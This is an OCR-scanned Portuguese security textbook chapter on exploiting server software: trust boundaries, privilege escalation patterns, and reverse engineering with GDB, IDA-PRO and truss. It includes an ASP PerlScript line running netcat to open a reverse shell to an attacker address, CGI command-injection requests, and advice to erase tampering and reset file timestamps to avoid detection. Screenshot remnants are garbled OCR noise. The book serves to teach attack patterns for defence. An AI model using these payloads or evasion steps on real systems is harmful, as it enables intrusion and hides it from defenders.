lgualdade de conflan~a entre processo e permlssoes As permissoes de urn processo impoem urn limite superior eficiente para as capacidades de uma exp lora~ao, mas a explora<;ao nao se limita a urn unico processo. Lembre-se de que voce esta atacando urn sistema. Procure situas;oes em que urn processo de privilegio baixo se comunica com um processo de privilegio mais alto. A comunicac;ao sfncrona pode ser executada via chamadas de procedimento, handles de arquivos ou sockets. Curiosamente, a comunicas;ao via arquivo de dados e livre da maioria das restris;oes normais de tempo. Muitas entradas de banco de dados tambem sao livres disso. Isso significa que voce pode colocar "bombas 16gicas" ou "bombas de dados" em urn sistema, que disparam no momento em que se chega a urn determinado estado. Os links entre programas podem ser extensos e muito diffceis de auditar. Para o desenvolvedor, isso significa que havera "brechas" naturais no projeto. Portanto, ha oportunidades para 0 invasor. Os limites do sistema freqiientemente sao OS principais pontos fracos de urn alvo. Tambem ha vulnerabilidades onde varios componentes do sistema se comunicam. As rela~oes podem ser surpreendentes. Considere urn arquivo de log. Quando urn processo de baixo privilegio cria entradas de loge urn processo de alto privilegio leo arquivo de log, ha um meio evidente de comunicac;ao entre os dois programas. Apesar de parecer uma situa~ao urn pouco for~ada, ja foram divulgados explora<;6es que se aproveitaram desse tipo de vulnerabilidade. Por exemplo: o servidor Web ira registrar em log os dados fornecidos pelo usuario a partir de solicitas;oes de pagina. Urn usuario an6nimo pode inserir metacaracteres especiais na solicitas;ao de pagina, fazendo com que os caracteres sejam salvos em urn arquivo de log. Quando urn usuario root faz a manuten<;ao normal do sistema no arquivo de log, os metacaracteres podem fazer com que os dados sejam acrescentados ao arquivo de senha. Os problemas continuam. Se nao rodarmos como administrador, tudo sera quebrado! Os guias de programac;ao segura estao cheios de referencias ao princfpio do menor privilegio (consulte Building Secure Software (Viega e McGraw, 2001], para ver exemplos). 0 problema e que a maioria dos c6digos nao e projetada para funcionar com 0
138
Como quebrar c6digos
menor privilegio. Freqiientemente, o codigo nao consegue funcionar adequadamente se houver resrri~oes de acesso nele. 0 problema e que varios programas desse tipo poderiam muito bern ter sido criados sem requerer acesso de administrador ou de root, mas nao foram. Conseqiientemente, os softwares atuais executam com uma quantidade excessiva de privilegios para todo o sistema. Ao pensar no privilegio, deve-se ajustar o ponto de vista para uma visao panoramica, que envolve todo o sistema. (Esse e urn excelente truque para invasores, que voce deve internalizar.) Freqiientemente, o SO e o servi~o basico que faz verifica~oes de privih~gio e controle de acesso, mas varios programas nao obedecem adequadamente ao conceiro do menor privilegio e, portanto, abusam do SO e solicitam privilegios demais (e muitas vezes nao recebem uma resposta negativa}. Alem disso, o usuario do programa pode ou nao notar esse problema, mas o invasor com certeza o notara. Uma tecnica muito interessante e executar urn programa-alvo em uma sandbox ("caixa de areia") e analisar o contexto da segurans;a de cada chamada e operas;ao (algo que as plataformas avans;adas como o Java 2 facilitam). E muito provavel que apares;am problemas de privilegio durante esse exercfcio, fornecendo uma das formas mais sofisticadas de ataque.
Padrao de ataque: Programas que gravam em recursos privllegiados do SO Procure programas que gravam nos diret6rios de sistema ou nas chaves de registro (como o HKLM, que armazena varias variaveis crfticas de ambiente do Windows). De modo geral, esses programas sao executados com privilegios elevados e normalmente nao foram projetados tendo em vista a segurant;a. Tais programas sao excelentes alvos de explorat;6es porque concedem grande quantidade de poder quando quebram.
Processos com prlvlleglos elevados para leltura de dados de fontes naoconfhivels Apos obter o acesso remoto ao sistema, o invasor deve comes;ar a procurar arquivos e chaves de registro que possam ser controlados. Da mesma forma, o invasor deve come~ar a procurar pipes locais e objetos de sistema. 0 Windows NT, por exemplo, rem urn gerenciador de objetos e urn diretorio de objetos de sistema que incluem ses;oes de memoria (segmentos reais de memoria que podem ter acesso de leitura/ grava~ao), e abrem handles de arquivos, pipes e mutexes. Todos esses elementos sao possfveis pontos de entrada nos quais o invasor pode dar o proximo passo na maquina. Depois de penetrar nas fronteiras do sistema de software, geralmente o invasor quer obter acesso ao kernel ou ao processo servidor. Qualquer ponto de entrada de dados pode ser urilizado como ponto de apoio para chegar a otttros espa~os de memoria privilegiados.
139
Capitulo 4 Explorando software servidor
Padrio de ataque: Utilize um arqulvo de conflgura~io fornecldo pe lo usuarlo para executar comandos que elevam prlvlleglos Um programa utilitario setuid aceita argumentos de linha de comando. Um desses argumentos permite ao usuario fornecer o caminho para um arquivo de configura~ao. 0 arquivo de configura~ao permite inserir comandos de shell. Portanto, quando o utilitario e iniciado, ele executa os comandos fornecidos. Um dos exem plos de ataques realizados o do conjunto de utilitarios UUCP (programa de c6pia de UNIX para UNIX). 0 programa utilitario pode nao ter acesso de root, mas pode pertencer a um contexto de g rupo ou de usuario que seja mais privilegiado que o invasor. No caso do UUCP, a eleva~ao pode levar ao grupo dialer ou conta de usuario do UUCP. A eleva~ao de privilegio em passos normalmente leva o invasor a comprometer root (o objetivo final). Alguns programas nao permitem os arquivos de configura~ao fornecidos pelo usuario, mas o arquivo de configura<;ao para todo o sistema pode ter um ponto fraco nas permissoes. Ha uma grande quantidade de vulnerabilidades q ue existem por causa de perm issoes mal configuradas. Um aviso: Como invasor, voce deve considerar o arquivo de configura<;ao como um ponto de deteq:ao evidente. Um processo de seguran~a pode monitorar o arquivo-alvo. Se voce faz altera~6es em um arquivo de configura~ao para obter privilegios, voce deve limpar imediatamente o arquivo quando terminar. Voce tambem pode utilizar certos utilitarios para configurar as datas de acesso ao arquivo de volta ao valor anterior. 0 segredo e nao deixar um rastro que permita investigar 0 arquivo que voce explorou.
e
a
Processos que utlllzam componentes com privlleglos elevados Alguns processos sao suficientemente inteligentes para executar solicita~oes de usuario como urn thread de baixo privilegio. Essas solicita~oes, em teoria, nao podem ser utilizadas em ataques. Entretanto, a suposi~ao por tras disso e que as contas de baixo privilegio utilizadas para controlar o acesso nao podem ler arquivos secretos etc. A verdade e que muitos sistemas nao sao muito bern administrados, e ate mesmo as comas de baixo privilegio podem caminhar pelo sistema de arquivos e o espa~o do processo. Observe tambem que varias abordagens do menor privilegio tern exce~oes . 0 servidor Microsoft liS e urn exemplo. Se o liS nao for configurado corretamente , o c6digo injetado pelo usuario pode executar a chamada de API RevertToSelf() e fazer com que o c6digo volte a ter o nivel de administrador. Alem disso, certas DLLs sao sempre executadas como administrador, independentemente do privilegio do usuario. A moral da hist6ria e que, se voce audita urn alvo por urn tempo suficientemente Iongo, e muito provavel que encontre urn ponto de entrada em que o prindpio do menor privilegio nao esta sendo aplicado.
Descobrlndo os pontos de
lnje~io
Ha varias ferramentas que podem ser utilizadas para auditar o sistema em rela~ao a arquivos e outros pontos de inje\=ao. No caso do Windows NT, as ferramentas mais
140
Como quebrar c6digos
conhecidas para analisar o registro ou sistema de arquivos estao disponfveis em http://www.sysinternals.com. As ferramentas chamadas filemon e regmon sao boas para monitorar arquivos e chaves de registro. Sao ferramentas relativamente bern conhecidas. Outras ferramentas que fornecem esses tipos de dados compoem uma classe de programas chamada de monitores de API. A Figura 4.1 mostra uma ferramenta bastante conhecida chamada filemon. Os programas monitores conectam certas chamadas de API e permitem ver os argumentos que estao sendo passados. As vezes, esses utilitarios permitem a alterac;ao das chamadas on the fly, isto e, instantaneamente, durante seu processamento- uma forma primitiva de injec;ao de falha.
.ll I A..-.st I Poth FASTIO_AEAO Q\W1NDO'WS\SYSTEM32\WBEM\Aepolit0O'ilo~om32\lpootc• FASTIO_OUERY_BASI... C:\WINOO'WS\oyJI...,32\Jpett.cl IAP_MJ_CLEAflUP C \Wl!! OO'WS\oykm32\Jpcs~cl IAP_IC'..cl IRP_MJ_(LEI>}IUP Q\W11100'WS\,..,tem32\Jpc•~cl IRP_t.U_ClOSE Q\W1NOOWS\Wn32'v!..nh.cl FASTIO_QUERY_8ASI... C.\Wl!IOO'WS\S-32\J""'nh.cl IRP_MJ_CLEANUP Q\W1NOO'WS\Sy!tem32'v!•erhcl IRP_MJ_CLOSE C.\WIIIDO'WS\S-32\J;oonh.cl
>
Esta e uma captura de tela do filemon, uma terra menta para espionar o sistema de arquivos, disponfvel em www.sysinternals.com. Esse programa e util para fazer engenharia reversa de softwares para localizar vulnerabilidades.
Figura 4.1:
A FST (Failure Simulation Tool) da Cigital faz exatamente isso (Figura 4.2). 0 FST se interpoe entre uma aplicac;ao e as DLLs, regravando a tabela de enderec;os de interrupc;ao. Dessa maneira, o monitor de API pode ver exatamente quais APis estao sendo chamadas e quais padimetros estao sendo passados. 0 FST pode ser utilizado para informar tipos interessantes de falhas da aplicas;ao que esta sendo testada. 1 Ferramentas como o filemon e o FST demonstram o uso da interposic;ao como urn ponto crftico de injes;ao.
1. Para saber mais sobre o FST, consulte a publica<;ao de Schmid e Ghosh [1999].
141
Capitulo 4 Explorando software servidor
~ Unlilled • Nolopad
1!1~£!
Sove
I 01is h I could quit and sauc curre ctly.
J
&
8
Tho 1M" tho~ fie h•: elwoged.
I
•
I I
0 UeaplU_ l oc Cl l!eOI>Cte ate
I
•
r.
I
Close
Success
Fallu1t
SJ
•
lleDOtY
Cl Globl>llUloc
CJ Globai..Rel\llcx:
I It!!jl I f+1 • ..:J
I
• llOt.epad. exe S
Do )IQ
ExP«1d
Faillllodc
N ame X
--~
·_; C<>11·P•i• Cov••llll<>
•
ll LOca:l'l Uoc ll Localllelllloc 0 Virtu.tllUluc Filo I / 0
l 'allur"e __
3
1
I
0
~'l\Q&1C
•
Figura 4 .2 : 0 FST da Cigital em ar;ao. 0 FST utiliza a interposir;ao para simular chamadas de sistema que fa lharam.
Observando arqulvos de entrada Procure arquivos que sao utilizados para entrada. Durante a inicializas:ao, urn programa pode ler a partir de varios pontos de configuras:ao, inclusive as variaveis de ambiente, que freqiientemente passam despercebidas. Procure tambem o acesso de diret6rio ou acesso de arquivo onde o arquivo nao for encontrado. Os programas podem procurar o arquivo de configuras:ao em varios locais. Se ha urn local onde o arquivo nao pode ser encontrado, trata-se de uma oportunidade de ataque.
Padrio de ataque: Utilize camlnhos de pesqulsa de arquivos de conflgura~ao Se voce coloca uma c6pia do arquivo de configurar;ao em um local que antes estava vazio, o programa-alvo pode encontrar a sua versao primeiro e parar de pesquisar. A maioria dos programas nao leva em conta a seguranr;a; portanto, nao ha verificar;ao em relar;ao ao proprietario do arquivo. A variavel de ambiente de UNIX "PATH" as vezes especifica que o programa deve procurar um determinado arquivo em varios diret6rios. Verifique esses diret6rios para ver se voce consegue colocar um arquivo troiano no alvo.
Rastreamento de camlnhos de entrada 0 rastreamento de entradas e uma tecnica bern completa, mas tediosa, para monitorar o que esta acontecendo com a entrada do usuario. Envolve configurar breakpoints nos locais onde os dados de usuario sa.o aceitos no programa e continuar rastreando. Para poupar tempo, voce pode utilizar ferramentas de rastreamento de chamadas, ferramentas de controle de fluxo e breakpoints de memoria. Essas tecnicas sao descritas com mais detalhes no Capitulo 3. Para o exerdcio a seguir, utilizamos truques de rastreamento de caminho para rastrear a entrada em uma chamada de sistema de arquivo vulnenivel.
142
Como quebrar c6digos
Utlllzando o GDB e o IDA-PRO juntos em blnarlo de Solarls SPARC
Embora IDA-PRO seja uma ferramenta baseada no Windows, a versao profissional pode ser utilizada para descompilar binaries de uma variedade de plataformas de hardware. Nesse exemplo, utilizamos o IDA-PRO para descompilar urn dos principais executaveis do servidor de aplica~ao Netscape I-Planet em execu~ao no Solaris 8/ Ultra-SPARC 10. 0 GOB e, possivelmente, o depurador mais eficiente disponivel no mercado. Os recursos avan~ados, como breakpoints e express6es condicionais, colocam o GOB na mesma classe do Softlce. Logicamente, o GOB tambem desassembla o codigo; partanto, tecnicamente, nao e necessaria utilizar o IDA. Entretanto, o IDA e a melhor escolha para trabalhar em um projeto grande de desassemblagem. Conflgurando breakpoints e expressoes
Os breakpoints sao cruciais para reverter urn alvo. 0 breakpoint permite parar o programa em urn Iugar espedfico. Depois de parar, podemos examinar a memoria e executar as chamadas de fun~ao passe a passo. Com urn disassembly do IDA aberto na janela, e possfvel executar passo a passo em outra janela e tamar notas. 0 que torna o IDA tao pratico e a capacidade de tamar notas durante a execu~ao de urn disassembly. Usar urn disassembler (com a resultante dead list, ou lista morta) e urn depurador em execu~ao ao mesmo tempo e uma variedade de teste da caixa-cinza. Ha duas maneiras basicas de come~ar com breakpoints: de dentro para fora e de fora para dentro. 0 metoda de dentro para fora envolve localizar uma chamada de sistema ou fun~ao de API interessante e, em seguida, configurar urn breakpoint na fun~ao e come~ar a trabalhar retroativamente para ver se os dados fornecidos pelo usuario estao sendo utilizados na chamada. Essa e uma forma eficiente de reverter o programa, mas deve ser automatizada tanto quanta possfvel. 0 trabalho de fora para dentro envolve localizar a fun~ao exata em que os dados de uswirio sao introduzidos primeiramente no programa e, em seguida, come~ar a executar passo a passo e rna pear a execu~ao do codigo no programa. Isso e muito uti I para determinar onde a logica de desvio de codigo esta baseada em dados fornecidos pelo usuario. Os dois metodos podem ser combinadas para obter o efeito maximo. Mapeando ender~os de memoria em tempo de execu~ao com o IDA
Infelizmente, os endere~os de memoria que sao exibidos no IDA nao mapeiam diretamente para o executa vel em tempo de execu~ao durante o uso do GOB. Entretanto, e facil de determinar os offsets (deslocamentos) e fazer o mapeamento a mao. Por exemplo, se o IDA exibe a fun~ao I NTut il _uri_i s_evi l _i nt e r nal no endere~o 0x00056140, os comandos a seguir podem ser emitidos para mapear o verdadeiro endere~o de tempo de execu~ao. 0 IDA exibe: . text: 00056140 ! II I I 11 111111111 S U B R 0 U T I N E 11 111111 11 11 111111111111 11 111111111111 1 .text:00056140
Capitulo 4 Explorando software servidor
.text:00056140 .text:00056140
143
. globa1 I NTutil_urLi s_evi L internal
A configura~ao do breakpoint com o GDB revela a pagina verdadeira de tempo de execu<;ao da sub-rotina: (gdb) break *INTutiLuri_i s_evi L internal Breakpoint 1 at 0xffld6140
Portanto, a partir daf podemos ver que 0x00056140 mapeia para 0xffld6140. Observe que o offset dentro da pagina de memoria e 0x6140 nos dois endere~os. Urn dos mapeamentos aproximados envolve simplesmente substituir os 2 bytes superiores no endere~o.
Conectando-se a um processo em execu~ao Um dos bons recursos do GDB e a capacidade de conectar-se a urn processo at ualmente em execu~ao e se desconectar dele. Como a maioria dos softwares servidor tern urn ciclo complexo de inicializa<;ao, geralmente emuito dificil ou inconveniente iniciar o software a partir de dentro do depurador. A capacidade de se conectar a urn processo ja em execu~ao e6tima para poupar tempo. Primeiro certifique-se de localizar o PID do processo para depurar. No caso do Netscape 1-Pianet, localizar o processo correto exigiu algumas tentativas e erro. Para se conectar a urn processo em execu~ao com o GDB, inicie o gdb e, em seguida, digite o seguinte comando no prompt gdb, onde process-id e o PID de seu alvo: (gdb) attach id-do- processo
Depois de se conectar ao processo, digite o comando continue para que o executavel continue em execu~ao. Voce pode utilizar Ctrl-c para voltar ao prompt gdb. ( gdb) continue
Se o processo tern varios threads, pode-se vera lista de todos os threads emitindo o comando i nfo. CE claro que o comando i nfo tern muitas utilidades alem de simplesmente listar threads.) Cgdb) info 90 Thread 89 Thread 88 Thread 87 Thread 86 Thread 85 Thread 84 Thread 83 Thread
threads 71 0xfeb1a018 in _lwp_sema_wait () from /usr /1 i b/1 i be. so.1 70 (LWP 14) 0xfeb18224 in _poll () from /usr/lib/li bc .so .1 69 0xfeb88014 in cond_wait () from /usr/ lib/libthread.so.1 68 0xfeb88014 in cond_wait () f rom /usr/lib/libthread.so.1 67 0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1 0xfeb88014 in cond_wait 0 from /usr/lib/libthread.so.1 66 65 0xfeb88014 in cond_wait 0 from /usr/lib/1ibthread.so.1 0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1 64
from /usr/lib/libthread . so.1 from /usr/lib/libthread . so.l from /usr/lib/libthread.so.1 from /usr/lib/libthread.so.1 from /usr/lib/libthread.so.l from /usr/lib/libthread.so.l f rom /usr/lib/libthread . so.l from /usr/lib/libthread . so.l f rom /usr/lib/libthread . so.l from /usr/lib/li bthread . so .l from /usr/lib/libthread . so.1
Para obter uma lista de todas as fun~oes da pilha de chamadas, emita o seguinte: (gdb) info stack #0 0xfedd9490 in _MD_getfileinfo64 () from /usr/local/iplanet/servers/bin/https/lib/libnspr4.so #1 0xfedd5830 in PR_GetFileinfo64 () from /usr/local/iplanet/servers/bin/https/lib/1ibnspr4.so #2 0xfeb62f24 in NSFC_PR_GetFi l einfo () from /usr/l ocal /iplanet/ser vers/bin/https/lib/libnsfc .so #3 0xfeb64588 in NSFC-ActivateEntry () from /usr/local /iplanet/servers/bin/https/lib/libnsfc.so #4 0xfeb63fa0 in NSFC_AccessFilename () from /usr/local/iplanet/servers/bin/https/lib/libnsfc.so #5 0xfeb62d24 in NSFC_GetFileinfo () from /usr/local/iplanet/ser vers/bin/https/lib/libnsfc .so #6 0xffl e6cdc in INTrequest_info_path () from /usr/l ocal/iplanet/ ser vers/bin/https/lib/libns-httpd40 .so
Nesse exemplo, _MD_getfi l ei nfo64 e a fun<;ao atual, que foi chamada por PR_Get Fil einfo64, que foi chamada por NSFCPR_Get Fi l einfo etc. A pilha de chamadas pode ajuda-lo a rastrear retroativamente uma chamada de fun<;iio para determinar qual caminho de c6digo esta sendo seguido. Utlllzando o Truss para modelar o alvo no Solaris Para aplicar engenharia reversa aos binarios do 1-Planet, copiamos o executavel principal e todas as bibliotecas vinculadas para uma esta<;ao de trabalho-padrao com Windows 2000 onde IDA-PRO foi instalado. 0 objetivo era examinar as chamadas de sistema de arquivos eo c6digo de filtragem do URL para descobrir possfveis maneiras de entrar no sistema de arquivos remotamente. Esse exemplo pode ser utilizado como urn modelo para localizar vulnerabilidades em muitos pacotes de software. Fazer a engenharia reversa dos alvos e possivel em muitas plataformas UN IX utilizando o IDA, eo GDB esta disponivel para quase todas as plataformas.
Capitulo 4 Explorando software servidor
145
Ao fazer engenharia reversa de urn servidor Web, a primeira tarefa eencontrar as rotinas que estao processando dados do Uniform Resource Identifier (URI) . Os dados do URI sao fornecidos por usuarios remotos. Se houver algum ponto fraco, ele sera o mais facil de explorar. Entre a enorme quantidade de chamadas de API que sao feitas a cada segundo, e diffcil rastrear o que e importante. Felizmente ha algumas ferramentas eficientes que podem ajudar a modelar uma aplica~ao em execu~ao. Para esse exemplo, as rotinas de processamento do URI foram rastreadas utilizando a excelente ferramenta da Solaris chamada Truss. 2 No Solaris 8, o Truss monitorara as chamadas de API de biblioteca de urn processo em execu~ao. Isso e uti! para ver quais chamadas estao sendo feitas quando urn determinado comportamento esta ocorrendo. Para descobrir onde os dados estavam sendo processados pelo servidor 1-Pianet, executamos o Truss no processo principal e fizemos o dump dos logs das chamadas que foram feitas quando as solic ita~oes da Web foram processadas. (Se voce nao estiver executando sob Solaris, voce pode utilizar uma ferramenta semelhante, como o ltrace. 0 ltrace e uma ferramenta gratuita de c6digo-fonte aberto e funciona em muitas plataformas.) 0 Truss e muito facil de utilizar e tern o 6timo recurso que permite conectar e desconectar de urn processo em execu~ao . Para conectar o Truss a urn processo, obtenha o PID do alvo e emita o seguinte comando: #truss -u *: : -vall -xall -p id_do_processo
Se voce esta interessado somente em determinadas chamadas de API, pode utilizar o Truss com grep: #truss -u *:: -vall -xall -p 2307 2>&1 I grep anon
Esse exemplo ira analisar o processo com o PID 2307 e mostrara chamadas que tern a subst-ring anon. Voce pode alterar ligeiramente o grep para ignorar apenas determinadas chamadas. Isso e uti! porque talvez voce queira ver tudo, excetuando as irritantes chamadas poll e read: #truss -u *:: -vall -xall -p 2307 2>&1 I grep - v read I grep - v pol l
(Observe que o tag 2>&1 e necessario porque o Truss nao entrega todos seus dados no pipe de stdout.) A safda do comando sera mais ou menos assim: /67 : /67 : /67 :
Esse exemplo mostra as chamadas de API sendo feitas pelo processo (numero 2307). 0 Truss faz recuos no texto para indicar chamadas de fun~ao aninhadas. A tecnica de pegar amostras da aplica~ao em execu~ao enquanto certas solicita<;oes estao sendo processadas e, em seguida, investigar o rastreamento da chamada e excelente.
Explorando a
confian~a
via
configura~ao
As explora<;6es que se aproveitam da confianc;a nem sempre sao o resultado de erros de programa~ao; tambem podem ter can1ter ambiental. Por exemplo: ao colocar pe rl . exe no diret6rio cgi bin de urn servidor Web, urn webmaster, sem saber, confia em usuaries an6nimos para avaliar expressoes de Perl no servidor Web. Naturalmente, fazer isso e uma pessima ideia, porque da aos usuaries an6nimos o livre acesso ao sistema. Porem, a confian<;a e implicada pela localiza<;ao do executavel do Perl, em vez de considerar o que o software pode fazer.
Padrao de ataque: Acesso direto a arquivos executaveis Um programa privilegiado pode ser acessado diretamente. 0 programa realiza opera~oes em nome do invasor que permitem o eleva~ao de privilegios ou o acesso ao shell. Para os servidores Web, esse problema costuma ser fatal. Se o servidor executa executaveis externos fornecidos pelo usuario (ou ate mesmo simplesmente nomeados por ele), o usuario pode fazer com que o sistema se comporte de forma imprevista. lsso pode ser feito passando op~oes de linha de comando ou adulterando uma sessao interativa. Um problema como esse e quase sempre tao ruim quanta dar complete acesso ao shell para o invasor. Os alvos mais comuns para esse tipo de ataque sao os servidores Web. 0 ataque e tao facil que alguns invasores utilizaram mecanismos de busca da Internet para encontrar possfveis alvos. 0 mecanisme do AltaVista e um 6timo recurso os para invasores que procuram esses alvos. 0 Coogle funciona tambem.
Capitulo 4 Explorando software servidor
147
Os programas executaveis normalmente aceitam padimetros de linha de comando. A maioria dos servidores Web passa op~oes de linha de comando diretamente para o executavel como urn "recurso". 0 invasor pode especificar urn executavel-alvo, como urn shell de comandos ou urn programa utilitario. As op~oes passadas em uma URL Web sao encaminhadas para o executavel-alvo e, em seguida, entao sao interpretadas como comandos. Por exemplo: e possivel passar os seguintes argumentos para o cmd.exe para fazer com que o comando di r do DOS seja executado: cmd.exe /c dir
A injec;ao em um servidor Web normalmente toma a forma de um caminho e, as vezes, envolve parametros adicionais: GET GET GET GET
/cgi-bin/perl?-e%20print%20hel l o_world /scripts/shtml.dll?index .asp /scri pts/sh /foo/cmd .exe
Audltando arqulvos executavels dlretamente Problemas como esses sao faceis de detectar. 0 invasor pode varrer o sistema de arquivos remoto a procura de arquivos executaveis conhecidos ou vinculados. Esses arquivos incluem DLLs, alem de executaveis e programas cgi. Estes sao alguns alvos comuns: /bin/perl perl .exe perl . dll cmd .exe /bin/sh
Mais uma vez, os arquivos que podem ser acessados diretamente freqiientemente podem ser localizados por meio de um motor de busca da Web. 0 Alta Vista e o Google ficam mais do que felizes em apontar a qualquer pessoa que solicita servidores exploraveis. Conhe~a
o dlretorlo atual de trabalho (CWD) 0 CWD e uma propriedade de urn processo em execu~ao. Ao atacar urn processo em execuc;ao, voce pode esperar que todos os comandos de sistema afetem urn determinado diret6rio do sistema de arquivos. Se voce nao especifica urn diret6rio, o programa ira supor que a operac;ao do arquivo sera executada no CWD. Alguns caracteres podem ser restringidos durante urn ataque como esse. Isso pode restringir operac;oes que requerem a utilizac;ao de certos diret6rios. Por exemplo: se voce nao pode inserir urn caractere de barra, /, talvez fique restrito ao CWD. Entre-
148
Como quebrar c6digos
tanto, observe que os problemas com pontos e barras continuam existindo ate hoje em versoes mais antigas do Java [McGraw e Felten, 1998]. E se o servldor da Web nao executar programas cgl? As vezes, uma configura~ao de servidor nao permite a execu~ao de arquivos bimirios. Pode ser muito diffcil descobrir isso depois de trabalhar durante horas para carregar urn arquivo troiano no sistema. Quando isso acontece, verifique se o servidor permite arquivos script. Se permitir, carregue urn arquivo que na.o e considerado "executa vel" (algo como urn script ou pagina especial de servidor que ainda e interpretada de alguma forma}. Esse arquivo pode permitir a "inclusao", server-side, de scripts incorporados especiais que podem executar o cgi troiano pelo proxy.
Padrio de ataque: lncorporando scripts dentro de scripts A tecnologia que faz a Internet funcionar e variada e complexa. Ha centenas de linguagens de desenvolvimento, compiladores e interpretadores que podem criar e executar c6digos. Cada desenvolvedor s6 leva em conta uma parte do todo da tecnologia. Cada tecnologia especffica recebe investimentos em tempo e dinheiro. Conforme esses sistemas evoluem, a necessidade de manter a compatibilidade com as vers6es anteriores vai ganhando importancia. No jargao do gerenciamento, isso ea necessidade de capitalizar em um investimento de software que ja foi feito. Essa e uma das razoes pelas quais algumas das linguagens de cria~ao de scripts mais recentes tem suporte a linguagens de cria~ao de scripts mais antigas. Como resultado dessa evolu~ao rapida e mal controlada, boa parte da tecnologia dos ataques pode se incorporar a outras linguagens e tecnologias ou acessa-las de outra forma. Esse fato acrescenta varias camadas de complexidade e torna diffcil, para dizer o mfnimo, o rastreamento de todas as funcionalidades diferentes (mas disponfveis). As regras de filtragem e pressuposi~6es de seguran~a ficam perdidas devido a onda de novidades. Procurar funcionalidades imprevistas esquecidas no sistema e uma tecnica excelente.
* Exemplo de ataque 1: Scripts Perl incorporados dentro do ASP Se a biblioteca ActivePerl esta insta lada em urn servidor Web Microsoft liS, os invasores estao com sorte. 0 invasor pode, na verdade, incorporar o Perl diretamente as paginas ASP nessa situa~ao. Primeiro, carregue uma pagina ASP e coloque script Perl hostil no ASP e, portanto, executa indiretamente as instru~oes de Perl. Eprovavel que explora~oes como essa acabem executando dentro da conta de IUSR; portanto, o . acesso sera' urn pouco restnto. Exemplo de ataque 2: Scripts Perl que chamam system() para executar o netcat Considere o seguinte c6digo: <%@@
Language = PerlScript %>
Capitulo 4 Explorando software servidor
149
system("nc -e cmd.exe -n 192.168.0.10 53"); %>
Depois de carregar o netcat e nao encontrar nenhuma forma de executa-lo diretamente, carregue uma pagina de ASP adicional com o Perl incorporado. Nesse exemplo, o listener do netcat e iniciado no comutador do invasor utilizando: C:\nc - 1 - p S3
0 listener inicia e espera pacientemente. 0 script Perl executa e se conecta do invasor 192.168.0.10 e urn shell remoto e gerado.
a maquina
E os arquivos nao-executaveis?
0 problema da confian~a pela configura~ao nao se limita aos programas com a extensao .exe. Varios tipos de arquivos contem c6digo de maquina e sao igualmente execuraveis em urn sistema remoto. Muitos arquivos que normalmente niio sao executaveis na linha de comando podem ser carregados pelo processo-alvo. As DLLs, por exemplo, contem c6digo executavel e recursos de dados, exaramenre como os executaveis normais. 0 SO nao pode carregar uma DLL como urn programa independente em execu~ao, mas a DLL pode ser carregada junto com urn executavel ja . existente.
Padrao de ataque: Explorando codlgo executavel em arquivos nao-executaveis Os invasores normalmente precisam carregar ou injetar de outra forma o c6digo hostil em um ambiente de processamento-alvo. Em alguns casos, esse c6digo nao tern necessariamente que estar dentro de um executavel binario. Um arquivo de recurso, por exemplo, pode ser carregado em um espat,;o do processo-alvo. Esse arquivo de recurso pode conter imagens graticas ou outros dados que talvez nao tenham a menor inten~,;ao de ser executados. Porem, se o invasor puder inserir algumas se~,;oes adicionais de c6digo no recurso, o processo que faz o carregamento pode nao ser muito inteligente e simplesmente carregar a nova versao. Depois disso, pode haver um ataque.
* Exemplo de ataque: Fontes executaveis 0 arquivo de fonte contem informa<;6es graficas para exibir a tipologia. No SO Windows, os arquivos de fonte sao uma forma especial de DLL. Portanto, o arquivo pode conter c6digo executavel. Para criar urn arquivo de fonte, o programador s6 precisa adicionar recursos de fonre a uma DLL. A DLL ajustada ainda pode conter c6digo executavel. Como o arquivo e urn recurso de fonte, o c6digo executavel nao sera executado por padrao. Entretanto, se o objetivo e fazer com que o c6digo
150
Como quebrar c6digos
executavel entre em urn espa~o do processo-alvo para urn ataque subseqiiente, esse hack pode funcionar. Se urn recurso de fonte for carregado utilizando uma rotina padriio de carregamento de DLL, o c6digo sera realmente executado. Os arquivos de fonte podem ser criados construindo uma DLL e adicionando urn recurso chamado Font (Fonte) ao diret6rio de recursos (Figura 4.3). Voce pode, por exemplo, criar urn programa de assembly sem c6digo e, em seguida, adicionar urn recurso de fonte. Independentemente disso, o c6digo tern de ser assemblado e linkado. -,
Jd fo•t; _t:c~t
• LfD~alotr]
..e s ou.rce s
,_ ':) Pont
(:!;] 13
!!i.:l :1 E E:J 11ont Di r . i:i:Jt88 a. D Ucw::Jion
Figura 4.3:
Essa captura de tela mostra os recu rsos de fonte adicionados a uma DLL-padrao usando o Microsoft Developer Studio.
Brincando com a politlca A confian~a configuravel tambem pode ser baseada em polfticas. 0 modelo Java 2, por exemplo, permite modelar as decis6es de confian~a com granularidade fina e, em seguida, for~ar o cumprimento delas pela VM. 0 c6digo Java 2 pode receber permiss6es especiais e ter o acesso verificado por meio de polfticas de seguran~a durante sua execu~iio . A parte principal do sistema e a politica. A politica pode ser configurada pelo usuario (o que normalmente e uma rna ideia) ou pelo administrador de sistema, sendo representada na classe java. security. Policy. Este eo calcanhar-de-aquiles da seguran~a do Java 2. A configura~ao de uma polftica coerente em urn nfvel de alta granularidade requer experiencia em seguran~a. 0 c6digo executavel e classificado com base no URL de origem e nas chaves privadas utilizadas para assinar o c6digo. A polftica de seguran~a mapeia urn conjunto de permiss6es de acesso para o c6digo caracterizado por informa~6es especfficas de origem/assinatura. Os domfnios de prote~ao podem ser criados sob demanda e estiio ligados a c6digos com propriedades especificas de CodeBase e Si gnedBy. Obviamente isso e complicado. Na pratica, a polftica do Java 2 se mostrou complicada demais e, portanto, raramente e usada. Mas, para os nossos objetivos, os arquivos de polftica sao claramente bons alvos de ataque. Os arquivos de polftica que solicitam permiss6es em excesso (mais que o realmente necessaria) sao muito comuns.
Capitulo 4 Explorando software servidor
151
Tecnicas especificas e ataques contra software servidor Os temas e conceitos basicos de explora~ao server-side que apresentamos anteriormente podem ser utilizados em conjunto e combinadas de varias formas. No restante deste capitulo, apresentaremos varias tecnicas especificas e daremos varios exemplos de sua utiliza~ao na pratica. As tecnicas que explicamos envolvem: • • • • • • • • •
Inje~ao de comando de shell
Uso de pipes, portas e permissoes Explora~ao do sistema de arquivos Manipula~ao das variaveis de ambiente Aproveitamento de variaveis externas Aproveitamento da autentica~ao de sessao inadequada Aplica~ao de for~a bruta aos IDs de sessao Varios caminhos de autentica~ao Problemas com o processamento de erros
Tambem apresentamos varios exemplos de ataque. Os mais basicos desse tipo sao explicados em Hacking Exposed [McClure eta!., 1999] de forma mais introdut6ria.
